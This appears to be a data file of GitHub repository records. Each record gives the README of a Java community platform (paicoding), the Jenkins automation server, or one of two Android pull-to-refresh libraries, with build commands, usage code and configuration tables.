https://github.com/alibaba/druid/tree/master/druid-spring-boot-starter
0
itwanger/paicoding
⭐️一款好用又强大的开源社区,基于 Spring Boot、MyBatis-Plus、MySQL、Redis、ElasticSearch、MongoDB、Docker、RabbitMQ 等主流技术栈,附详细教程,包括Java、Spring、MySQL、Redis、微服务&分布式、消息队列等核心知识点。学编程,就上技术派😁。
java mybatis mysql redis spring springboot
<p align="center"> <a href="https://paicoding.com/"> <img src="https://cdn.tobebetterjavaer.com/images/README/1681354262213.png" alt="技术派" width="400"> </a> </p> 一个基于 Spring Boot、MyBatis-Plus、MySQL、Redis、ElasticSearch、MongoDB、Docker、RabbitMQ 等技术栈实现的社区系统,采用主流的互联网技术架构、全新的UI设计、支持一键源码部署,拥有完整的文章&教程发布/搜索/评论/统计流程等,代码完全开源,没有任何二次封装,是一个非常适合二次开发/实战的现代化社区项目👍 。 <br><br> <p align="center"> <a href="https://paicoding.com/article/detail/15"><img src="https://img.shields.io/badge/技术派-学习圈子-brightgreen.svg?style=for-the-badge"></a> <a href="https://paicoding.com/" target="_blank"><img src="https://img.shields.io/badge/技术派-首页-critical?style=for-the-badge"></a> <a href="https://github.com/itwanger/paicoding-admin" target="_blank"><img src="https://img.shields.io/badge/技术派-管理端-yellow.svg?style=for-the-badge"></a> <a href="https://gitee.com/itwanger/paicoding" target="_blank"><img src="https://img.shields.io/badge/技术派-码云地址-blue.svg?style=for-the-badge"></a> </p> ## 一、配套服务 1. **技术派网址**:[https://paicoding.com](https://paicoding.com) 2. **技术派教程**:[https://paicoding.com/column](https://paicoding.com/column) 目前已更新高并发手册、JVM 手册、Java 并发编程手册、二哥的 Java 进阶之路,以及技术派部分免费教程。我们的宗旨是:**学编程,就上技术派**😁 3. **技术派管理端源码**:[paicoding-admin](https://github.com/itwanger/paicoding-admin) 4. **技术派专属学习圈子**:[不走弯路,少采坑,附 120 篇技术派全套教程](https://paicoding.com/article/detail/17) 5. **派聪明AI助手**:AI 时代,怎能掉队,欢迎体验 [技术派的派聪明 AI 助手](https://paicoding.com/chat) 6. **码云仓库**:[https://gitee.com/itwanger/paicoding](https://gitee.com/itwanger/paicoding) (国内访问速度更快) ## 二、项目介绍 ### 项目演示 #### 前台社区系统 - 项目仓库(GitHub):[https://github.com/itwanger/paicoding](https://github.com/itwanger/paicoding) - 项目仓库(码云):[https://gitee.com/itwanger/paicoding](https://gitee.com/itwanger/paicoding) - 项目演示地址:[https://paicoding.com](https://paicoding.com) ![](https://cdn.tobebetterjavaer.com/images/20230602/d7d341c557e7470d9fb41245e5bb4209.png) #### 后台社区系统 - 项目仓库(GitHub):[https://github.com/itwanger/paicoding-admin](https://github.com/itwanger/paicoding-admin) - 项目仓库(码云):[https://gitee.com/itwanger/paicoding-admin](https://gitee.com/itwanger/paicoding-admin) - 项目演示地址:[https://paicoding.com/admin-view](https://paicoding.com/admin/) ![](https://cdn.tobebetterjavaer.com/images/20230602/83139e13a4784c0fbf0adedd8e287c5b.png) #### 代码展示 ![](https://cdn.tobebetterjavaer.com/images/20231205/b8f76cb8e09f4ebca84b3ddd3b61c13e.png) ### 架构图 #### 系统架构图 ![](https://cdn.tobebetterjavaer.com/paicoding/3da165adfcad0f03d40e13e941ed4afb.png) #### 业务架构图 ![](https://cdn.tobebetterjavaer.com/paicoding/main/paicoding-business.jpg) ### 组织结构 ``` paicoding ├── paicoding-api -- 定义一些通用的枚举、实体类,定义 DO\DTO\VO 等 ├── paicoding-core -- 核心工具/组件相关模块,如工具包 util, 通用的组件都放在这个模块(以包路径对模块功能进行拆分,如搜索、缓存、推荐等) ├── paicoding-service -- 服务模块,业务相关的主要逻辑,DB 的操作都在这里 ├── paicoding-ui -- HTML 前端资源(包括 JavaScript、CSS、Thymeleaf 等) ├── paicoding-web -- Web模块、HTTP入口、项目启动入口,包括权限身份校验、全局异常处理等 ``` #### 环境配置说明 资源配置都放在 `paicoding-web` 模块的资源路径下,通过maven的env进行环境选择切换 当前提供了四种开发环境 - resources-env/dev: 本地开发环境,也是默认环境 - resources-env/test: 测试环境 - resources-env/pre: 预发环境 - resources-env/prod: 生产环境 环境切换命令 ```bash # 如切换生产环境 mvn clean install -DskipTests=true -Pprod ``` #### 配置文件说明 - resources - application.yml: 主配置文件入口 - application-config.yml: 全局的站点信息配置文件 - logback-spring.xml: 日志打印相关配置文件 - liquibase: 由liquibase进行数据库表结构管理 - resources-env - xxx/application-dal.yml: 定义数据库相关的配置信息 - xxx/application-image.yml: 定义上传图片的相关配置信息 - xxx/application-web.yml: 定义web相关的配置信息 #### [前端工程结构说明](docs/前端工程结构说明.md) ### 技术选型 后端技术栈 | 技术 | 说明 | 官网 | |:-------------------:|----------------------|----------------------------------------------------------------------------------------------------| | Spring & SpringMVC | Java全栈应用程序框架和WEB容器实现 | [https://spring.io/](https://spring.io/) | | SpringBoot | Spring应用简化集成开发框架 | [https://spring.io/projects/spring-boot](https://spring.io/projects/spring-boot) | | mybatis | 数据库orm框架 | [https://mybatis.org](https://mybatis.org) | | mybatis-plus | 数据库orm框架 | [https://baomidou.com/](https://baomidou.com/) | | mybatis PageHelper | 数据库翻页插件 | [https://github.com/pagehelper/Mybatis-PageHelper](https://github.com/pagehelper/Mybatis-PageHelper) | | elasticsearch | 近实时文本搜索 | [https://www.elastic.co/cn/elasticsearch/service](https://www.elastic.co/cn/elasticsearch/service) | | redis | 内存数据存储 | [https://redis.io](https://redis.io) | | rabbitmq | 消息队列 | [https://www.rabbitmq.com](https://www.rabbitmq.com) | | mongodb | NoSql数据库 | [https://www.mongodb.com/](https://www.mongodb.com/) | | nginx | 服务器 | [https://nginx.org](https://nginx.org) | | docker | 应用容器引擎 | [https://www.docker.com](https://www.docker.com) | | hikariCP | 数据库连接 | [https://github.com/brettwooldridge/HikariCP](https://github.com/brettwooldridge/HikariCP) | | oss | 对象存储 | [https://help.aliyun.com/document_detail/31883.html](https://help.aliyun.com/document_detail/31883.html) | | https | 证书 | [https://letsencrypt.org/](https://letsencrypt.org/) | | jwt | jwt登录 | [https://jwt.io](https://jwt.io) | | lombok | Java语言增强库 | [https://projectlombok.org](https://projectlombok.org) | | guava | google开源的java工具集 | [https://github.com/google/guava](https://github.com/google/guava) | | thymeleaf | html5模板引擎 | [https://www.thymeleaf.org](https://www.thymeleaf.org) | | swagger | API文档生成工具 | [https://swagger.io](https://swagger.io) | | hibernate-validator | 验证框架 | [hibernate.org/validator/](hibernate.org/validator/) | | quick-media | 多媒体处理 | [https://github.com/liuyueyi/quick-media](https://github.com/liuyueyi/quick-media) | | liquibase | 数据库版本管理 | [https://www.liquibase.com](https://www.liquibase.com) | | jackson | json/xml处理 | [https://www.jackson.com](https://www.jackson.com) | | ip2region | ip地址 | [https://github.com/zoujingli/ip2region](https://github.com/zoujingli/ip2region) | | websocket | 长连接 | [https://docs.spring.io/spring/reference/web/websocket.html](https://docs.spring.io/spring/reference/web/websocket.html) | | sensitive-word | 敏感词 | [https://github.com/houbb/sensitive-word](https://github.com/houbb/sensitive-word) | | chatgpt | chatgpt | [https://openai.com/blog/chatgpt](https://openai.com/blog/chatgpt) | | 讯飞星火 | 讯飞星火大模型 | [https://www.xfyun.cn/doc/spark/Web.html](https://www.xfyun.cn/doc/spark/Web.html#_1-%E6%8E%A5%E5%8F%A3%E8%AF%B4%E6%98%8E) | ## 三、技术派教程 技术派教程共 120+ 篇,从中整理出 20 篇,供大家免费学习。 - [(🌟 新人必看)技术派系统架构&功能模块一览](https://paicoding.com/article/detail/15) - [(🌟 新人必看)小白如何学习技术派](https://paicoding.com/article/detail/366) - [(🌟 新人必看)如何将技术派写入简历](https://paicoding.com/article/detail/373) - [(🌟 新人必看)技术派架构方案设计](https://paicoding.com/column/6/5) - [(🌟 新人必看)技术派技术方案设计](https://paicoding.com/article/detail/208) - [(🌟 新人必看)技术派项目管理流程](https://paicoding.com/article/detail/445) - [(🌟 新人必看)技术派MVC分层架构](https://paicoding.com/article/detail/446) - [(🌟 新人必看)技术派项目工程搭建手册](https://paicoding.com/article/detail/459) - [(👍 强烈推荐)技术派微信公众号自动登录](https://paicoding.com/article/detail/448) - [(👍 强烈推荐)技术派微信扫码登录实现](https://paicoding.com/article/detail/453) - [(👍 强烈推荐)技术派Session/Cookie身份验证识别](https://paicoding.com/article/detail/449) - [(👍 强烈推荐)技术派Mysql/Redis缓存一致性](https://paicoding.com/column/6/3) - [(👍 强烈推荐)技术派Redis实现用户活跃排行榜](https://paicoding.com/article/detail/454) - [(👍 强烈推荐)技术派消息队列RabbitMQ](https://paicoding.com/column/6/2) - [(👍 强烈推荐)技术派消息队列RabbitMQ连接池](https://paicoding.com/column/6/1) - [(👍 强烈推荐)技术派消息队列Kafka](https://paicoding.com/article/detail/460) - [(👍 强烈推荐)技术派Cancal实现MySQL和ES同步](https://paicoding.com/column/6/8) - [(👍 强烈推荐)技术派ES实现查询](https://paicoding.com/article/detail/341) - [(👍 强烈推荐)技术派定时任务实现](https://paicoding.com/article/detail/457) - [(👍 扬帆起航)送给坚持到最后的自己,一起杨帆起航](https://paicoding.com/article/detail/447) ## 四、环境搭建 ### 开发工具 | 工具 | 说明 | 官网 | |:----------------:|--------------|--------------------------------------------------------------------------------------------------------------| | IDEA | java开发工具 | [https://www.jetbrains.com](https://www.jetbrains.com) | | Webstorm | web开发工具 | [https://www.jetbrains.com/webstorm](https://www.jetbrains.com/webstorm) | | Chrome | 浏览器 | [https://www.google.com/intl/zh-CN/chrome](https://www.google.com/intl/zh-CN/chrome) | | ScreenToGif | gif录屏 | [https://www.screentogif.com](https://www.screentogif.com) | | SniPaste | 截图 | [https://www.snipaste.com](https://www.snipaste.com) | | PicPick | 图片处理工具 | [https://picpick.app](https://picpick.app) | | MarkText | markdown编辑器 | [https://github.com/marktext/marktext](https://github.com/marktext/marktext) | | curl | http终端请求 | [https://curl.se](https://curl.se) | | Postman | API接口调试 | [https://www.postman.com](https://www.postman.com) | | draw.io | 流程图、架构图绘制 | [https://www.diagrams.net/](https://www.diagrams.net/) | | Axure | 原型图设计工具 | [https://www.axure.com](https://www.axure.com) | | navicat | 数据库连接工具 | [https://www.navicat.com](https://www.navicat.com) | | DBeaver | 免费开源的数据库连接工具 | [https://dbeaver.io](https://dbeaver.io) | | iTerm2 | mac终端 | [https://iterm2.com](https://iterm2.com) | | windows terminal | win终端 | [https://learn.microsoft.com/en-us/windows/terminal/install](https://learn.microsoft.com/en-us/windows/terminal/install) | | SwitchHosts | host管理 | [https://github.com/oldj/SwitchHosts/releases](https://github.com/oldj/SwitchHosts/releases) | ### 开发环境 | 工具 | 版本 | 下载 | |:-------------:|:----------|------------------------------------------------------------------------------------------------------------------------| | jdk | 1.8+ | [https://www.oracle.com/java/technologies/downloads/#java8](https://www.oracle.com/java/technologies/downloads/#java8) | | maven | 3.4+ | [https://maven.apache.org/](https://maven.apache.org/) | | mysql | 5.7+/8.0+ | [https://www.mysql.com/downloads/](https://www.mysql.com/downloads/) | | redis | 5.0+ | [https://redis.io/download/](https://redis.io/download/) | | elasticsearch | 8.0.0+ | [https://www.elastic.co/cn/downloads/elasticsearch](https://www.elastic.co/cn/downloads/elasticsearch) | | nginx | 1.10+ | [https://nginx.org/en/download.html](https://nginx.org/en/download.html) | | rabbitmq | 3.10.14+ | [https://www.rabbitmq.com/news.html](https://www.rabbitmq.com/news.html) | | ali-oss | 3.15.1 | [https://help.aliyun.com/document_detail/31946.html](https://help.aliyun.com/document_detail/31946.html) | | git | 2.34.1 | [http://github.com/](http://github.com/) | | docker | 4.10.0+ | [https://docs.docker.com/desktop/](https://docs.docker.com/desktop/) | | let's encrypt | https证书 | [https://letsencrypt.org/](https://letsencrypt.org/) | ### 搭建步骤 #### 本地部署教程 > [本地开发环境手把手教程](docs/本地开发环境配置教程.md) ### 云服务器部署教程 > [环境搭建 & 基于源码的部署教程](docs/安装环境.md) > [服务器启动教程](docs/服务器启动教程.md) ## 五、友情链接 - [toBeBetterjavaer](https://github.com/itwanger/toBeBetterJavaer) :一份通俗易懂、风趣幽默的Java学习指南,内容涵盖Java基础、Java并发编程、Java虚拟机、Java企业级开发、Java面试等核心知识点。学Java,就认准二哥的Java进阶之路😄 - [paicoding-admin](https://github.com/itwanger/paicoding-admin) :🚀🚀🚀 paicoding-admin,技术派管理端,基于 React18、React-Router v6、React-Hooks、Redux、TypeScript、Vite3、Ant-Design 5.x、Hook Admin、ECharts 的一套社区管理系统,够惊艳哦。 ## 六、鸣谢 技术派收到了 [Jetbrains](https://jb.gg/OpenSourceSupport) 多份 Licenses(详情戳 [这里](https://paicoding.com/article/detail/331) ),并已分配给项目 [活跃开发者](https://github.com/itwanger/paicoding/graphs/contributors) ,非常感谢 Jetbrains 对开源社区的支持。 ![JetBrains Logo (Main) logo](https://resources.jetbrains.com/storage/products/company/brand/logos/jb_beam.svg) ## 七、star 趋势图 [![Star History Chart](https://api.star-history.com/svg?repos=itwanger/paicoding&type=Date)](https://star-history.com/#itwanger/paicoding&Date) ## 八、公众号 GitHub 上标星 10000+ 的开源知识库《 [二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer) 》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 8700+ 的 Java 教程](https://javabetter.cn/overview/) 微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号,回复 **222** 即可免费领取。 ![](https://cdn.tobebetterjavaer.com/tobebetterjavaer/images/gongzhonghao.png) ## 九、许可证 [Apache License 2.0](https://github.com/itwanger/paicoding/edit/main/README.md) Copyright (c) 2022-2023 技术派(楼仔、沉默王二、一灰、小超)
0
jenkinsci/jenkins
Jenkins automation server
cicd continuous-delivery continuous-deployment continuous-integration devops groovy hacktoberfest java jenkins pipelines-as-code
<a href="https://jenkins.io"> <img width="400" src="https://www.jenkins.io/images/jenkins-logo-title-dark.svg" alt="Jenkins logo"> </a> # About [![Jenkins Regular Release](https://img.shields.io/endpoint?url=https%3A%2F%2Fwww.jenkins.io%2Fchangelog%2Fbadge.json)](https://www.jenkins.io/changelog) [![Jenkins LTS Release](https://img.shields.io/endpoint?url=https%3A%2F%2Fwww.jenkins.io%2Fchangelog-stable%2Fbadge.json)](https://www.jenkins.io/changelog-stable) [![Docker Pulls](https://img.shields.io/docker/pulls/jenkins/jenkins.svg)](https://hub.docker.com/r/jenkins/jenkins/) [![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/3538/badge)](https://bestpractices.coreinfrastructure.org/projects/3538) [![Gitter](https://img.shields.io/gitter/room/jenkinsci/jenkins)](https://app.gitter.im/#/room/#jenkinsci_jenkins:gitter.im) In a nutshell, Jenkins is the leading open-source automation server. Built with Java, it provides over 1,800 [plugins](https://plugins.jenkins.io/) to support automating virtually anything, so that humans can spend their time doing things machines cannot. # What to Use Jenkins for and When to Use It Use Jenkins to automate your development workflow, so you can focus on work that matters most. Jenkins is commonly used for: - Building projects - Running tests to detect bugs and other issues as soon as they are introduced - Static code analysis - Deployment Execute repetitive tasks, save time, and optimize your development process with Jenkins. # Downloads The Jenkins project provides official distributions as WAR files, Docker images, native packages and installers for platforms including several Linux distributions and Windows. See the [Downloads](https://www.jenkins.io/download) page for references. For all distributions Jenkins offers two release lines: - [Weekly](https://www.jenkins.io/download/weekly/) - Frequent releases which include all new features, improvements, and bug fixes. - [Long-Term Support (LTS)](https://www.jenkins.io/download/lts/) - Older release line which gets periodically updated via bug fix backports. Latest releases: [![Jenkins Regular Release](https://img.shields.io/endpoint?url=https%3A%2F%2Fwww.jenkins.io%2Fchangelog%2Fbadge.json)](https://www.jenkins.io/changelog) [![Jenkins LTS Release](https://img.shields.io/endpoint?url=https%3A%2F%2Fwww.jenkins.io%2Fchangelog-stable%2Fbadge.json)](https://www.jenkins.io/changelog-stable) # Source Our latest and greatest source of Jenkins can be found on [GitHub](https://github.com/jenkinsci/jenkins). Fork us! # Contributing to Jenkins Follow the [contributing guidelines](CONTRIBUTING.md) if you want to propose a change in the Jenkins core. For more information about participating in the community and contributing to the Jenkins project, see [this page](https://www.jenkins.io/participate/). Documentation for Jenkins core maintainers is in the [maintainers guidelines](docs/MAINTAINERS.adoc). # News and Website All information about Jenkins can be found on our [website](https://www.jenkins.io/). Follow us on [Twitter](https://twitter.com/jenkinsci) or [LinkedIn](https://www.linkedin.com/company/jenkins-project/). # Governance See the [Jenkins Governance Document](https://www.jenkins.io/project/governance/) for information about the project's open governance, our philosophy and values, and development practices. Jenkins Code of Conduct can be found [here](https://www.jenkins.io/project/conduct/). # Adopters Jenkins is used by millions of users and thousands of companies. See [adopters](https://www.jenkins.io/project/adopters/) for the list of Jenkins adopters and their success stories. # License Jenkins is **licensed** under the **[MIT License](LICENSE.txt)**.
0
tuesda/CircleRefreshLayout
a custom pull-to-refresh layout which contains a interesting animation
null
This is a project with custom pull-to-refresh layout which contains a interesting animation. And the animation is inspired by <https://dribbble.com/shots/1797373-Pull-Down-To-Refresh> made by Ramotion. ###Demo### ![](gif/circlerefresh.gif) ###Usage### ``` xml <com.tuesda.walker.circlerefresh.CircleRefreshLayout xmlns:app="http://schemas.android.com/apk/res-auto" app:AniBackColor="#ff8b90af" app:AniForeColor="#ffffffff" app:CircleSmaller="6" android:id="@+id/refresh_layout" android:layout_width="match_parent" android:layout_height="match_parent"> <ListView android:background="#ffffffff" android:id="@+id/list" android:layout_width="match_parent" android:layout_height="match_parent"></ListView> </com.tuesda.walker.circlerefresh.CircleRefreshLayout> ``` Call back when refresh starts and complete: ``` java mRefreshLayout.setOnRefreshListener( new CircleRefreshLayout.OnCircleRefreshListener() { @Override public void refreshing() { // do something when refresh starts } @Override public void completeRefresh() { // do something when refresh complete } }); ``` when refreshing is done(for example, the image loading completes), you can invoke: ``` java mRefreshLayout.finishRefreshing(); ``` ###License### MIT
0
dkzwm/SmoothRefreshLayout
一款支持上下拉刷新、越界回弹、二级刷新、横向刷新、拉伸回弹、平滑滚动、嵌套滚动的多功能刷新控件
horizontal loadmore nested nestedscroll nestedscrollingchild3 nestedscrollingparent3 overscroll overscroll-decor refresh refreshlayout scale smoothscroll two-level
# SmoothRefreshLayout ![Methods](https://img.shields.io/badge/Methods%20%7C%20Size-740%20%7C%2084%20KB-e91e63.svg) [![MinSdk](https://img.shields.io/badge/MinSdk-14-blue.svg)](https://developer.android.com/about/versions/android-4.0.html) [![License](https://img.shields.io/badge/License-MIT-blue.svg)](https://github.com/dkzwm/SmoothRefreshLayout/blob/master/LICENSE) ## [English](README_EN.md) | 中文 一个高效的Android刷新库,理论上支持所有的视图,比官方的SwipeRefreshLayout更强大且使用方便. ## 特性: - 理论上支持所有的视图,且可根据具体需求高效适配. - 支持多点触摸. - 支持嵌套滑动,完整实现了NestedScrollingChild3,NestedScrollingParent3 接口,玩转CoordinatorLayout. - 直接继承自ViewGroup,拥有卓越的性能,支持类FameLayout的特性(Gravity、Margin). - 支持自动刷新、自动上拉加载、到底自动加载更多(不推荐,建议使用Adapter实现,可自定义到底判断逻辑回调实现预加载更多). - 支持越界回弹,支持基于物理特性的越界回弹效果. - 支持刷新视图自定样式:STYLE_DEFAULT(默认不改变大小)、STYLE_SCALE(动态改变大小,会在SRL内部测量并布局,所以性能会有损失)、STYLE_PIN(不会改变视图大小,固定在顶部或者底部)、STYLE_FOLLOW_SCALE(先纵向跟随移动并且不改变视图大小,大于视图高度后动态改变视图大小且性能会有损失)、STYLE_FOLLOW_PIN(不会改变视图大小,先纵向跟随移动,大于视图高度后固定)、STYLE_FOLLOW_CENTER(不会改变视图大小,先纵向跟随移动,大于视图高度后让视图保持在移动的距离中心点). - 支持二级刷新事件(TwoLevelSmoothRefreshLayout),PS:淘宝二楼、京东活动. - 支持横向刷新(HorizontalSmoothRefreshLayout). - 支持ListView、GridView、RecyclerView加载更多的同步平滑滚动. - 支持手势:同步Fling(刷新视图仍可见的情况下,会先回滚隐藏刷新视图,而后向下传递Fling手势). - 支持作为可拉伸内部视图布局使用(类小米设置页效果). - 丰富的回调接口和调试信息,可利用现有API实现丰富的效果. ## 引入 添加如下依赖到你的 build.gradle 文件: ``` dependencies { implementation 'com.github.dkzwm:srl-core:1.7.2.4' implementation 'com.github.dkzwm:srl-ext-classics:1.7.2.4' implementation 'com.github.dkzwm:srl-ext-material:1.7.2.4' implementation 'com.github.dkzwm:srl-ext-dynamic-rebound:1.7.2.4' implementation 'com.github.dkzwm:srl-ext-horizontal:1.7.2.4' implementation 'com.github.dkzwm:srl-ext-two-level:1.7.2.4' implementation 'com.github.dkzwm:srl-ext-util:1.7.2.4' } ``` ## 演示程序 下载 [Demo.apk](https://raw.githubusercontent.com/dkzwm/SmoothRefreshLayout/master/apk/demo.apk) ## 更新日志 #### 老版本升级务必查看 [更新日志](ext/UPDATE.md) ## 快照 ![嵌套滑动](snapshot/test_nested_scroll.gif) ![二级刷新](snapshot/test_two_level_refresh.gif) ---- ![横向刷新](snapshot/test_horizontal_refresh.gif) ![拉伸收缩效果](snapshot/test_scale_effect.gif) ---- ![QQ红包活动](snapshot/test_qq_style.gif) ![浏览器内核下拉展示](snapshot/test_qq_web_browser_style.gif) ## 使用 #### 在Xml中配置 ``` <?xml version="1.0" encoding="utf-8"?> <me.dkzwm.widget.srl.SmoothRefreshLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" android:id="@+id/refreshLayout" android:layout_width="match_parent" android:layout_height="match_parent"> <TextView android:layout_width="match_parent" android:layout_height="match_parent"/> </me.dkzwm.widget.srl.SmoothRefreshLayout> ``` #### Java代码配置 ``` SmoothRefreshLayout refreshLayout = (SmoothRefreshLayout)findViewById(R.id.smoothRefreshLayout); refreshLayout.setHeaderView(new ClassicHeader(this)); refreshLayout.setOnRefreshListener(new RefreshingListenerAdapter() { @Override public void onRefreshing() { mHandler.postDelayed(new Runnable() { @Override public void run() { refreshLayout.refreshComplete(); } }, 4000); } }); ``` #### 自定义刷新视图 ##### 接口定义 ``` public interface IRefreshView <T extends IIndicator> { byte TYPE_HEADER = 0; byte TYPE_FOOTER = 1; byte STYLE_DEFAULT = 0; byte STYLE_SCALE = 1; byte STYLE_PIN = 2; byte STYLE_FOLLOW_SCALE = 3; byte STYLE_FOLLOW_PIN = 4; byte STYLE_FOLLOW_CENTER = 5; /** * 返回是头部视图还是尾部视图; */ int getType(); /** * 一般情况都是View实现本接口,所以返回this; */ View getView(); /** * 获取视图样式,自1.4.8版本后支持6种样式,STYLE_DEFAULT、STYLE_SCALE、STYLE_PIN、STYLE_FOLLOW_SCALE、STYLE_FOLLOW_PIN、STYLE_FOLLOW_CENTER; */ int getStyle(); /** * 获取视图的自定义高度,当视图样式为STYLE_SCALE和STYLE_FOLLOW_SCALE时,必须返回一个确切且大于0的值,使用横向刷新库时,该属性实际应该返回的是视图的宽度; * 自1.6.1版本开始,如果想要当前视图铺满布局即MATCH_PARENT,那么支持返回ViewGroup.LayoutParams.MATCH_PARENT对应的值即`-1`; */ int getCustomHeight(); /** * 手指离开屏幕; */ void onFingerUp(SmoothRefreshLayout layout, T indicator); /** * 重置视图; */ void onReset(SmoothRefreshLayout layout); /** * 重新配置视图,准备刷新; */ void onRefreshPrepare(SmoothRefreshLayout layout); /** * 开始刷新; */ void onRefreshBegin(SmoothRefreshLayout layout, T indicator); /** * 刷新完成; */ void onRefreshComplete(SmoothRefreshLayout layout,boolean isSuccessful); /** * 当头部或者尾部视图发生位置变化; */ void onRefreshPositionChanged(SmoothRefreshLayout layout, byte status, T indicator); /** * 当头部或者尾部视图仍然处于处理事务中,这时候移动其他刷新视图则会调用该方法; * 在1.4.6版本新加入; */ void onPureScrollPositionChanged(SmoothRefreshLayout layout, byte status, T indicator); } ``` ##### 添加自定义刷新视图 - 全局静态代码构造 ``` SmoothRefreshLayout.setDefaultCreator(new IRefreshViewCreator() { @Override public IRefreshView<IIndicator> createHeader(SmoothRefreshLayout layout) { ClassicHeader header = new ClassicHeader(layout.getContext()); return header; } @Override public IRefreshView<IIndicator> createFooter(SmoothRefreshLayout layout) { ClassicFooter footer = new ClassicFooter(layout.getContext()); return footer; } }); ``` - 动态代码添加 ``` ClassicHeader header = new ClassicHeader(mRefreshLayout.getContext()); mRefreshLayout.setHeaderView(header); ClassicFooter footer = new ClassicFooter(mRefreshLayout.getContext()); mRefreshLayout.setFooterView(footer); ``` - 请直接写入Xml文件,SmoothRefreshLayout会根据添加的View是否是实现了IRefreshView接口进行判断 #### 实现类QQ下拉阻尼效果 ``` mRefreshLayout.setIndicatorOffsetCalculator(new IIndicator.IOffsetCalculator() { @Override public float calculate(@IIndicator.MovingStatus int status, int currentPos, float offset) { if (status == IIndicator.MOVING_HEADER) { if (offset < 0) { //如果希望拖动缩回时类似QQ一样没有阻尼效果,阻尼效果只存在于下拉则可以在此返回offset //如果希望拖动缩回时类似QQ一样有阻尼效果,那么请注释掉这个判断语句 return offset; } return (float) Math.pow(Math.pow(currentPos / 2, 1.28d) + offset, 1 / 1.28d) * 2 - currentPos; } else if (status == IIndicator.MOVING_FOOTER) { if (offset > 0) { //如果希望拖动缩回时类似QQ一样没有阻尼效果,阻尼效果只存在于上拉则可以在此返回offset //如果希望拖动缩回时类似QQ一样有阻尼效果,那么请注释掉这个判断语句 return offset; } return -((float) Math.pow(Math.pow(currentPos / 2, 1.28d) - offset, 1 / 1.28d) * 2 - currentPos); } else { if (offset > 0) { return (float) Math.pow(offset, 1 / 1.28d) * 2; } else if (offset < 0) { return -(float) Math.pow(-offset, 1 / 1.28d) * 2; } else { return offset; } } } }); ``` #### Xml属性 ##### SmoothRefreshLayout 自身配置 |名称|类型|描述| |:---:|:---:|:---:| |sr_content|reference|指定内容视图的资源ID| |sr_resistance|float|移动刷新视图时候的移动阻尼(默认:`1.65f`)| |sr_resistanceOfFooter|float|移动Footer视图时候的移动阻尼(默认:`1.65f`)| |sr_resistanceOfHeader|float|移动Header视图时候的移动阻尼(默认:`1.65f`)| |sr_ratioToRefresh|float|触发刷新时位置占刷新视图的高度比(默认:`1f`)| |sr_ratioOfHeaderToRefresh|float|触发刷新时位置占Header视图的高度比(默认:`1f`)| |sr_ratioOfFooterToRefresh|float|触发加载更多时位置占Footer视图的高度比(默认:`1f`)| |sr_ratioToKeep|float|刷新中保持视图位置占刷新视图的高度比(默认:`1f`),该属性的值必须小于等于触发刷新高度比才会有效果| |sr_ratioToKeepHeader|float|刷新中保持视图位置占Header视图的高度比(默认:`1f`),该属性的值必须小于等于触发刷新高度比才会有效果| |sr_ratioToKeepFooter|float|刷新中保持视图位置占Footer视图的高度比(默认:`1f`),该属性的值必须小于等于触发刷新高度比才会有效果| |sr_maxMoveRatio|float|最大移动距离占刷新视图的高度比(默认:`0f`,表示不会触发)| |sr_maxMoveRatioOfHeader|float|最大移动距离占Header视图的高度比(默认:`0f`,表示不会触发)| |sr_maxMoveRatioOfFooter|float|最大移动距离占Footer视图的高度比(默认:`0f`,表示不会触发)| |sr_closeDuration|integer|指定收缩刷新视图到起始位置的时长(默认:`350`)| |sr_closeHeaderDuration|integer|指定收缩Header视图到起始位置的时长(默认:`350`)| |sr_closeFooterDuration|integer|指定收缩Footer视图到起始位置的时长(默认:`350`)| |sr_backToKeepDuration|integer|设置回滚到保持刷新视图位置的时间(默认:`200`)| |sr_backToKeepHeaderDuration|integer|设置回滚到保持Header视图位置的时间(默认:`200`)| |sr_backToKeepFooterDuration|integer|设置回滚到保持Footer视图位置的时间(默认:`200`)| |sr_enablePinContent|boolean|固定内容视图(默认:`false`)| |sr_enableKeep|boolean|刷新中保持视图停留在所设置的应该停留的位置(默认:`true`)| |sr_enablePullToRefresh|boolean|拉动刷新,下拉或者上拉到触发刷新位置即立即触发刷新(默认:`false`)| |sr_enableOverScroll|boolean|越界回弹(默认:`true`)| |sr_enableRefresh|boolean|设置是否启用下拉刷新(默认:`ture`)| |sr_enableLoadMore|boolean|设置是否启用加载更多(默认:`false`)| |sr_mode|enum|模式设置(默认:`MODE_DEFAULT`为刷新控件模式)| |sr_stickyHeader|reference|指定黏贴头部的资源ID| |sr_stickyFooter|reference|指定黏贴尾部的资源ID| ##### TwoLevelSmoothRefreshLayout 自身配置 |名称|类型|描述| |:---:|:---:|:---:| |sr_enableTwoLevelRefresh|boolean|设置是否启用二级刷新(默认:`true`)| |sr_backToKeep2Duration|boolean|设置回滚到保持二级刷新头部处于二级刷新过程中的时长(默认:`500`)| |sr_closeHeader2Duration|boolean|设置关闭二级刷新头部的时长(默认:`500`)| ##### SmoothRefreshLayout包裹内部其他View支持配置 |名称|类型|描述| |:---:|:---:|:---:| |layout_gravity|flag|指定其它被包裹视图的对齐属性(非 targetView、非refreshView)| #### SmoothRefreshLayout java属性设置方法 |名称|参数|描述| |:---:|:---:|:---:| |setHeaderView|IRefreshView|配置头部视图| |setFooterView|IRefreshView|配置尾部视图| |setContentView|View|配置内容视图| |setMode|int|配置当前模式| |setLayoutManager|LayoutManager|配置自定义布局管理器| |setDisableWhenAnotherDirectionMove|boolean|内部视图含有其他方向滑动视图时需设置该属性为ture(默认:`false`)| |setMaxOverScrollDuration|int|设置越界回弹动画最长时间(默认:`350`)| |setMinOverScrollDuration|int|设置越界回弹动画最短时间(默认:`100`)| |setResistance|float|移动刷新视图时候的移动阻尼(默认:`1.65f`)| |setResistanceOfFooter|float|移动Footer视图时候的移动阻尼(默认:`1.65f`)| |setResistanceOfHeader|float|移动Header视图时候的移动阻尼(默认:`1.65f`)| |setRatioToRefresh|float|触发刷新时位置占刷新视图的高度比(默认:`1.1f`)| 